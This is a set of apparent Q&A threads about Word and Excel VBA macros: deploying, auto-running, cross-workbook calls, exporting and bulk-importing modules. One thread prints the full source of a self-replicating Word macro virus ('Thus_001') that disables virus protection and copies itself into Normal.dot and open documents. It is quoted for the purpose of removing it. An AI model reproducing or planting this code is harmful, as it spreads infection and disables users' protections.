How to deploy word 2007 macro - vba

I have used Custom Fields in my DOCX file and update them using OpenXML, but custom fields are not getting updated in document.
So I have write following macro to update field, it run well on my machine, Now i want to deploy it on each machine at client side, the machine count is 500 I can not go on each machine and paste macro code in each normal.dot file
what is easy step to do it ? Or when I open word file, will application ask for installing macro ? like addin ?
Here is my macro
Private Sub Document_Open()
Dim aStory As Range
Dim aField As Field
For Each aStory In ActiveDocument.StoryRanges
For Each aField In aStory.Fields
aField.Update
Next aField
Next aStory
End Sub

I don't know how to deploy your macro; however, in a comparable situation I sent users a template with the new macros and asked them to run it. The template would distribute the new macros. I ued the following code for that. Note that it only copies Macro Proejct Items (modules), not single macros:
Sub AutoNew()
Deploy
End Sub
Sub AutoOpen()
Deploy
End Sub
Sub Deploy()
Dim src, dst
'
If (MsgBox("This will deploy new macros to your Normal.dot. Continue?", vbYesNo, "Deploy new macros") _
= vbNo) Then Exit Sub
On Error Resume Next
src = ActiveDocument.AttachedTemplate.FullName
dst = NormalTemplate.FullName
'
' Copy a macro/module
'
Application.OrganizerCopy Source:=src, Destination:=dst, _
Object:=wdOrganizerObjectProjectItems, Name:="Document_Open"
'
MsgBox "New macros have been copied to your Normal.dot. You can close this document now."
End Sub

Related

Word AutoOpen for specific File

Is it possible to build something like AutoOpen but less generic? So I mean a macro, which executes when you open file xyz.docx.
Please, copy the next code in "Normal.dotm" "ThisDocument" code module:
Option Explicit
Const docName = "xyz.docx" 'use here the document name you need
Private Sub Document_Open()
If ActiveDocument.Name = docName Then
MsgBox ActiveDocument.Name & " has been opened..."
End If
End Sub
The Open event is triggered for any document being open.
Here's a sample macro that automatically runs when the document opens. This sample checks whether the user is trying to open a template for editing, then it creates a new document based on the template instead. (Bypass the macro by holding down Shift while you open the file).
This sample only makes sense when placed in a macro-enabled template, but you could also add something like this to a macro-enabled document. The document location would also have to be made a trusted location in Windows.
Sub AutoOpen()
Dim PathTemp$, NameTemp$
If ActiveDocument.Type = wdTypeTemplate Then
NameTemp$ = ActiveDocument.Name
PathTemp$ = ActiveDocument.Path
Documents.Add Template:=PathTemp$ & Application.PathSeparator & NameTemp$
For Each fWindow In Application.Windows
If fWindow.Caption = NameTemp$ Then
fWindow.Close SaveChanges:=wdDoNotSaveChanges
End If
Next fWindow
End If
End Sub

Switching between macros located in different workbooks

Let's assume I have 2 different files: "1" and "a1".
I want to open second one using macro from "1" and then run a code from "a1"
So, in "1" I have following code:
Sub anotherMacro()
Dim path As String
Dim Fname As String
Dim macroName As String
path = ActiveWorkbook.path
Fname = ActiveWorkbook.Name
Workbooks.Open (path & "\a" & Fname)
Application.Run "a1.xlsm!Module1.SecondMacro"
MsgBox "Am I still here?"
End Sub
Second macro in file "a1" looks like that:
Sub SecondMacro()
ActiveWorkbook.Close
End Sub
When I'm using Application.Run command, the msgbox is not being executed. The "a1" is getting opened, closed and then there is no further action.
Is there a way to get back to "1" and display the msgbox?
If you put your VBA code in an XLAM file instead of an XLSM file, then you can add it as an Excel Add-In and it can then communicate with all workbooks simultaneously.
I notice that after executing Workbook.Close, the VBA stops executing. Therefore, you should be careful of codes placed after the Workbook.Close.
You may consider transfer the Workbook.Close method to 1.xlsm. Perform any actions before you execute the Workbook.Close method.
I modified the codes as follows.
1.xlsm
Module1
Option Explicit
Sub anotherMacro()
Dim path As String
Dim Fname As String
Dim macroName As String
With Application
path = .ThisWorkbook.path
Fname = .ThisWorkbook.Name
.Workbooks.Open (path & "\a" & Fname)
.Run "a1.xlsm!Module1.SecondMacro"
End With
End Sub
Sub WelcomeBack()
MsgBox "Am I still here?"
Application.ThisWorkbook.Activate
' Activate 1.xlsm. This is optional, depending on your needs.
' Add code here to perform any further actions.
Application.Workbooks("a1.xlsm").Close
' Close a1.xlsm. VBA stops here.
End Sub
a1.xlsm
Module1
Option Explicit
Sub SecondMacro()
' Add code here to perform any actions.
Application.Run "1.xlsm!Module1.WelcomeBack"
' Go back to 1.xlsm
End Sub
PS: Check out the difference between Application.ActiveWorkbook and Application.ThisWorkbook.

Word Macro virus

I'm trying to help a friend who has a word macro virus.
Almost everyone of his.doc files are infected, I'd like to delete the malicious macros without deleting the word files.
Since my friend never uses macros I can actually delete all macros on his system.
How would I go about automating this task?
One of the problems I'm facing is that I dont have permissions to delete the maliscious macros when opening the infected doc files here is the Macro virus's code :
Private Sub Document_Open()
'Thus_001'
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.DeleteLines 1, Application.Documents.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
End If
Next k
frm_Msg.Show
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Save()
Document_Open
End Sub
This is on mac running 10.6.8 with word 2004
Thanks
Alex
The quickest way to do this is going to be using a more modern version of Word. I'd do the following. Either create a VM or take a snapshot of an existing VM that you can roll back to. Put all of the infected Word files into a directory, and then run this macro from a Word document:
'Add a reference to Microsoft Scripting Runtime.
Public Sub ScrubMacros()
Application.DisplayAlerts = wdAlertsNone
With New Scripting.FileSystemObject
Dim targets As New Collection
Dim current As File
For Each current In .GetFolder("C:\Test").Files
If .GetExtensionName(current.Path) = "doc" Then
targets.Add current
End If
Next
Dim infected As Variant
For Each infected In targets
Dim doc As Document
Set doc = Documents.Open(infected.Path)
doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument
doc.Close wdDoNotSaveChanges
Next
End With
Application.DisplayAlerts = wdAlertsAll
End Sub
Collect all of the resulting .docx files and move them off the VM, then roll it back to your snapshot or delete it. If you need to maintain compatibility with Word 2004, you can do pretty much the same thing to convert them back to that file format - just adjust the file extensions and save as format.

Export all modules from personal.xlsb

I would like to export/ maintain/ manage a text file backup of modules in my personal macro workbook personal.xlsb using VBA.
I cannot find an object library which refers to the modules themselves on msdn. Could someone point me in the right direction on this please?
Using Excel 2013.
You need to add Visual Basic for Application Extensibility X.X reference; or:
Sub load_reference_1()
ThisWorkbook.VBProject.References.AddFromGuid "{0002E157-0000-0000-C000-000000000046}", 5, 3
end sub
Sub Load_reference_2()
ThisWorkbook.VBProject.References.AddFromFile "C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB"
end sub
Example:
Sub Macromodule_copy1()
ThisWorkbook.VBProject.VBComponents("Macroos").Export "E:\Macroos.bas"
With Workbooks.Add
.VBProject.VBComponents.Import "E:\Macroos.bas"
End With
End Sub
Further examples and source: Snb-Vba -awesome examples!-
I do exactly this, with my personal.xlsb and also with other macro workbooks.
I save the text files into a "VBA" subdirectory and put them into version control to keep track of the changes.
I was inspired by Mass importing modules & references in VBA which references https://www.rondebruin.nl/win/s9/win002.htm
I have a module called WriteBas containing this code:
Attribute VB_Name = "WriteBas"
Option Explicit
Sub WriteAllBas()
' Write all VBA modules as .bas files to the directory of ThisWorkbook.
' Implemented to make version control work smoothly for identifying changes.
' Designed to be called every time this workbook is saved,
' if code has changed, then will show up as a diff
' if code has not changed, then file will be same (no diff) with new date.
' Following https://stackoverflow.com/questions/55956116/mass-importing-modules-references-in-vba
' which references https://www.rondebruin.nl/win/s9/win002.htm
Dim cmp As VBComponent, cmo As CodeModule
Dim fn As Integer, outName As String
Dim sLine As String, nLine As Long
Dim dirExport As String, outExt As String
Dim fileExport As String
On Error GoTo MustTrustVBAProject
Set cmp = ThisWorkbook.VBProject.VBComponents(1)
On Error GoTo 0
dirExport = ThisWorkbook.Path + Application.PathSeparator + "VBA" + Application.PathSeparator
For Each cmp In ThisWorkbook.VBProject.VBComponents
Select Case cmp.Type
Case vbext_ct_ClassModule:
outExt = ".cls"
Case vbext_ct_MSForm
outExt = ".frm"
Case vbext_ct_StdModule
outExt = ".bas"
Case vbext_ct_Document
Set cmo = cmp.CodeModule
If Not cmo Is Nothing Then
If cmo.CountOfLines = cmo.CountOfDeclarationLines Then ' Ordinary worksheet or Workbook, no code
outExt = ""
Else ' It's a Worksheet or Workbook but has code, export it
outExt = ".cls"
End If
End If ' cmo Is Nothing
Case Else
Stop ' Debug it
End Select
If outExt <> "" Then
fileExport = dirExport + cmp.name + outExt
If Dir(fileExport) <> "" Then Kill fileExport ' From Office 365, Export method does not overwrite existing file
cmp.Export fileExport
End If
Next cmp
Exit Sub
MustTrustVBAProject:
MsgBox "Must trust VB Project in Options, Trust Center, Trust Center Settings ...", vbCritical + vbOKOnly, "WriteAllBas"
End Sub
and in my ThisWorkbook object, the BeforeSave event handler calls it each time the workbook is saved.
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
WriteAllBas
End Sub
There's a second or two of overhead each time the workbook is saved.
Note: Under Office 2016 and earlier versions I didn't need to delete (Kill) the text file before exporting, but under Office 365 the Export method fails if the file exists.
I just save a date/timestamped copy of PERSONAL.xlsb to a backup drive location using the following code.
Sub PersonalBckup()
Const dstBak As String = "H:\PERSONAL MACROS\" 'change path to suit
Const dstBak2 As String = "D:\PERSONAL Macros\"
On Error Resume Next 'if either of the drives are not present, skip error.
Application.DisplayAlerts = False 'turn off warning popups
With Workbooks("PERSONAL.xlsb") 'name of your PERSONAL.xlsb file
.SaveCopyAs dstBak & "PERSONAL" & " as of " & Format(Now(), "YYYYMMDD_hhmmAMPM") & ".xlsb"
.SaveCopyAs dstBak2 & "PERSONAL" & " as of " & Format(Now(), "YYYYMMDD_hhmmAMPM") & ".xlsb"
.Save
End With
Application.DisplayAlerts = True 'Turn on warning popups
The backed-up file is saved with a date/timestamp: "PERSONAL as of 20180512_0136PM.xlsb"
I know this doesn't exactly answer the question, but perhaps it's still helpful. You can easily save all modules into a pdf by rigth clicking the modules folder and clicking print (and then clicking setup to change to print to pdf) . This won't give you a specific exported file that can be easily imported back in per se, but it keeps a safely saved file that you can always go back and reference should anything go wrong in your code. There's probably a way to automate this (or at least make it a one-time click when you save), but I haven't figured that out yet.

How to add excel 2010 macro programmatically

Is there any method to add macro to Excel file programmatically ?
I have too many Excel files I want to add a macro to them.
Adding manually (by hand) seems impossible.
I need to create a tool to do this.
Yes, you can do this programatically, you can access the VB Integrated Development Environment through code. The following website are excellent for learning about the VBIDE, I've used them to put together this code. If you run WorkbookModuleImporttwo open dialog boxes will pop up, the first asking for workbooks to import the modules into, the second to select the modules for importing.
Sub WorkbookModuleImport()
Dim ii As Integer, vFileNames As Variant, vModules As Variant
'We'll use the Application.GetOpenFilename to get a list of all the excel workbooks we want to import into
vFileNames = Application.GetOpenFilename(",*.xls;*.xlsx;*.xlsm", , "Select Workbooks to Import Modules To", , True)
'If the result is not an array it means the cancel button has been pressed
If Not IsArray(vFileNames) Then Exit Sub
'Use the same method to get all the modules/classes/forms to input
vModules = Application.GetOpenFilename(",*.cls, *.bas, *.frm", , "Select Modules/Forms/Class Modules to Import", , True)
If Not IsArray(vModules) Then Exit Sub
'Now loop through all the workbooks to import the modules
For ii = LBound(vFileNames) To UBound(vFileNames)
Call ImportModules(VBA.CStr(vFileNames(ii)), vModules)
Next ii
End Sub
Public Sub ImportModules(sWorkbookName As String, vModules As Variant)
Dim cmpComponents As VBIDE.VBComponents, ii As Integer
Dim wkbTarget As Excel.Workbook
'We need to open the workbook in order to be able to import the code module
Set wkbTarget = Workbooks.Open(sWorkbookName)
'If the project is protected with a password we can't import so just set tell us in the immediate window
If wkbTarget.VBProject.Protection = 1 Then
'Give a message
Debug.Print wkbTarget.Name & " has a protected project, cannot import module"
GoTo Cancelline
End If
'This is where we set the reference to the components of the Visual Basic project
Set cmpComponents = wkbTarget.VBProject.VBComponents
'Loop through all the modules to import
For ii = LBound(vModules) To UBound(vModules)
cmpComponents.Import vModules(ii)
Next ii
Cancelline:
'If it's in Excel 2007+ format but doesn't already have macros, we'll have to save it as a macro workbook
If wkbTarget.FileFormat = xlOpenXMLWorkbook Then
wkbTarget.SaveAs wkbTarget.Name, xlOpenXMLWorkbookMacroEnabled
wkbTarget.Close SaveChanges:=False
Else
'Otherwise, just save the workbook and close it
wkbTarget.Close SaveChanges:=True
End If
'I don't trust excel, so set the workbook object to nothing
Set wkbTarget = Nothing
End Sub
These webpages are great references:
http://www.cpearson.com/excel/vbe.aspx and
http://www.rondebruin.nl/vbaimportexport.htm. I used Ron's as a starting point.